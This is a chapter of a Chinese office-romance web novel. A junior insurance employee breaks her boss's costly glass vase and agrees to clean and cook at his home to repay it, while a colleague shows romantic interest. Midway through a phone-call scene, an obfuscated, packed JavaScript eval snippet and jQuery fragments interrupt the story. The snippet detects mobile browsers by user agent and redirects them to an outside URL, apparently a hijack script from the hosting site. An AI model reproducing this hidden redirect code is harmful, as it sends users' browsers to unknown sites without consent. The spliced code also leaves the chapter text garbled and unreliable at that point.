017：一身债
中午下班前，杨千昭来到非车险科找宋予凝。
“今天食堂炸了我爱吃的肉酥，走……师傅请客。”
她笑吟吟地上前问，“对了，我交给你的材料核对得怎么样了？”
宋予凝回过神，语气听不出任何情绪：“都差不多了，下午发你。”
“没问题，那咱们走吧。”
用餐途中，杨千昭见人一脸便秘，顿时觉得嘴里的饭菜都不香了。
她咬着鸡腿好奇不已：“喂？你丢钱啦？怎么又魂不守舍的？”
宋予凝收起手机，犹豫好半天才答：“嗯……我又闯祸了。”
杨千昭筷子没拿稳，瞪大眼惊声道：“单证又搞丢了？”
动静之大惹来周遭一圈人的围观，宋予凝红着脸低头：“不、不是。”
她撑住下巴解释说，“我把老大的玻璃瓶打碎了，而且——价格有点贵。”
杨千昭得知单证没事，松了口气。
转而又问：“一个玻璃瓶而已，能有多贵？你是赔不起吗？”
这个……她可能真的赔不起。
宋予凝掏出手机，代购网页上展示出同款产品，下面标着价格。
38654.02。
甚至有零有整。
杨千昭定睛一瞧：“夺少？”
她没忍住怪叫了一句，“就这几片玻璃也值三万？”
“师傅，你行行好，轻声些。”宋予凝欲哭无泪，解释道：“这是北欧的一个冷门设计师设计的产品，就值这个价。”
杨千昭明白过来了，语气饱含同情，“你……真的，要不然请个假，去云梦寺烧柱香拜拜吧。”
宋予凝烦闷地抹了把脸。
这段时间运势不佳，她真应该去去晦气才是。
不过事情要真这么简单就好了。
刚才在电话里，苏砚和那副口吻，冷得像是能把她生吞活剥了。
怎么会这么倒霉嘛！
她就纳了闷了，正常人谁把收藏品随意搁在书柜上，这不是找打吗？
胡思乱想之际，【英华霹雳小分队】的群消息滴滴地响个不停。
她点开屏幕看了几眼，赵妍妍等人约好去隔壁吃泰式菜，这会儿才来问她要不要同行。
她当做没看到，烦闷地关上手机。
半晌，陈则省又私发她：
——中午怎么没来？
宋予凝直接将手机静音，懒得把自己的悲惨遭遇再演说一回。
吃过饭，两人起身下楼。
出电梯时意外地碰见了一个熟悉的身影——是从外头匆匆跑回的陈则省。
他轻喘着气，脑门上冒出汗珠，见到宋予凝方才停下脚步。
“你不是跟妍妍在隔壁吗？”她感到莫名：“这么快就吃好啦？”
陈则省脸颊微红，瞥了一眼她身旁的杨千昭，小声说：“我、我回来处理一个临期案件。”
“哦，那好吧。”宋予凝挥挥手，坦然道，“再见。”
陈则省欲言又止，“那……再见。”
回午休室的路上，杨千昭一脸看好戏的表情。
饶有兴致地问：“……你俩有戏啊？”
宋予凝一愣，忙辩解道，“别瞎说，碰巧遇上的。”
她脑子里还在想着刚才的事，“你说我要怎么跟苏总解释啊——”
杨千昭拍拍她的肩。
临走前抛了个飞吻，“Godblessyou~”
*
下午下班前，苏砚和满身戾气地从外头回来。
一进门便阴沉着脸孔，掷地有声地敲了敲宋予凝的桌板，“你跟我来。”
动静之大，又又又一次引来高涂等人的侧目。
宋予凝都快对这声音PTSD了，硬着头皮做完好几个深呼吸后才缓缓起身。
她提心吊胆地关好门，挪步到办公桌前，窝囊地低着头不敢跟苏砚和对视。
而那堆已经碎成渣渣的玻璃被她尽数捡起，用纸巾包好，搁在他的办公桌前。
苏砚和眸光一顿，直截了当道：“说吧，准备怎么办？”
宋予凝头脑风暴了半分钟，最后战战兢兢地试探：“要不然……我赔钱吧？”
同样的话术和神情，真是半点长进都没有。
苏砚和蹙着眉，被酒气熏染过的面颊泛起淡淡的粉。
男人倏然低声笑了笑，问说：“你知道这东西多少钱……倒是敢开口。”
她当然知道啊。
宋予凝有点委屈的样子，“我、我把每个月的工资都赔给你，你看可以吗？”
苏砚和冷笑：“谁缺你那点臭钱。”
紧接着又轻嗤一声，“能不能留还两说……你是故意跟我这儿套话吗？”
宋予凝揉了揉脸，她哪敢啊。
但是这事还没完，你也不会大发慈悲地说——
“这样吧。”男人沉吟，出了个折中的主意，“每周两次，你来我家打扫卫生，顺便煮顿饭。”
他拧着眉徐徐道，“一次200，按照这个价格……能接受吗？”
宋予凝的眼皮猛然跳了两下，终于意识到他说的是什么。
“我……”
“你还有更好的建议吗？”
“……没有。”
“那你还傻站着干什么？”
他又是赶人的语气。
宋予凝的大脑迟钝地运转着，点了点头。
走到门口又重新转身回来，犹疑道：“苏总。”
“说。”
她艰难地吞咽了两下口水，“我想问……如、如果我试用期没过的话……这钱不还是得……”
苏砚和盯着她，墨黑的瞳仁闪过质疑：“怎么了？这么快就已经做好当逃兵的准备了？”
男人微眯起眼，语带嘲讽：“能有点出息吗？”
*
日暮四合的傍晚，老城区的大街小巷充满了烟火气息。
带着热意的晚风拂吹过街角的梧桐树，叫唤了一整日的蝉鸣终于在此刻停歇。
宋予凝垂头丧气地回到家，发现屋子里空荡荡的。
这周吴茜出差，她新签了一家经纪公司，广告合约也变多了，工作量更是比之前小打小闹忙碌了不止一星半点。
夕阳洒在客厅的地板上，落下一片金色。
宋予凝拖着筋疲力竭的身体回房洗了澡，再出来时头发湿漉漉地滴着水珠，她却无心在意。
茶几上的手机响了两声。
是中国移动的短信，提醒她话费余额不足30元。
宋予凝懊恼地把手机扔到一旁，深思熟虑后重新点开屏幕，给妈妈打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224878|165874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了个电话。
“喂，宝啊~今天怎么有空想到我啦？”
听起来陈女士心情不错，嗓音里透着笑意。
宋予凝从冰箱里拿出一根雪糕，含在嘴里。
“妈妈，我想……我就是想……嗯……”她有点开不了口，话到嘴边又咽了回去。
“是不是想妈妈啦？”
陈女士说：“想妈妈了就回来吧？家里什么都有，女孩子跑那么远……累得慌。”
“我不是这个意思……”
“对了，别忘记你答应过我的事情哦，还有一个月试用期就要满了吧？”
宋予凝的心被揪成一团，叹口气答：“我记得的。”
“记得就好。”那边有人在叫她，陈女士转头又道：“好啦，我跟你徐阿姨逛街去啦，不说了。”
电话应声挂断，屏幕也跟着暗了下来。
宋予凝沉沉地吐了口气，雪糕化了，冰凉的液体一滴一滴的落在裸.露的大腿上，有点粘稠。
这个时候她应该起身把腿擦干净的，但是宋予凝躺在沙发上一动也不想动。
很累，身体累，心更累。
这一天过得浑浑噩噩，她又莫名其妙地惹上一身债。
接下来除了要完成本职工作，还得身兼数职偿还三万多块……
宋予凝搓了搓脸，她有点不想干了。
要不然周末抽空去拜拜吧，是不是最近犯小人了？
怎么接二连三的奇葩事全叫自己给碰上了？她到底招惹到哪路神仙了？
胡思乱想之际，手机再次响了起来。
叮叮当当的彩铃很清脆，就跟那只被打碎的水晶花瓶一样。
宋予凝懒洋洋地伸出手，径直接起，“我没什么事了妈妈……”
“是我啊。”无线电波里传来陈则省爽朗的笑声，态度热情：“你在忙吗？”
“不、不忙的。”她鲤鱼打挺般坐直了身子，用指腹擦拭掉腿上黏腻的雪糕，问：“你有事吗？”
陈则省沉默了小一会儿，闷头道：“你的……我听前台杨千昭说了。”
宋予凝：……
他为什么要特意问杨千昭打听自己的事情？
而且，这跟他没关系吧？
宋予凝佯装镇静地笑了下，“额……所以呢？”
“所以……你现在怎么办？”他问。
“没怎么办啊，苏总下午都没回来呢。”
她又撒了个谎。
宋予凝脑海里浮现出那天在悦湖湾，苏砚和一脸漠然地质问自己的表情。
“——你在跟陈则省谈恋爱吗？”
怎么会这样？
男人的第六感也这么准吗？
脑子里的警铃呜呜作响，她只觉得如临大敌。
耳边响起赵妍妍的谆谆教诲——公司禁止办公室恋情！
两厢沉寂，气氛平添了几分暧昧的情愫。
最后，还是陈则省主动道：“我的意思是，如果你需要帮忙的话……可以找我，我……”
脸颊被臊得滚烫不已，宋予凝不敢再听，登时挂断电话。
生平第一次，她没想到自己会这么无礼。
如果自己是只水壶，估计这会儿已经呜呜开始叫了。
宋予凝翻身把自己整个脑袋埋进沙发里，没出息地发出一声沉闷的哀嚎。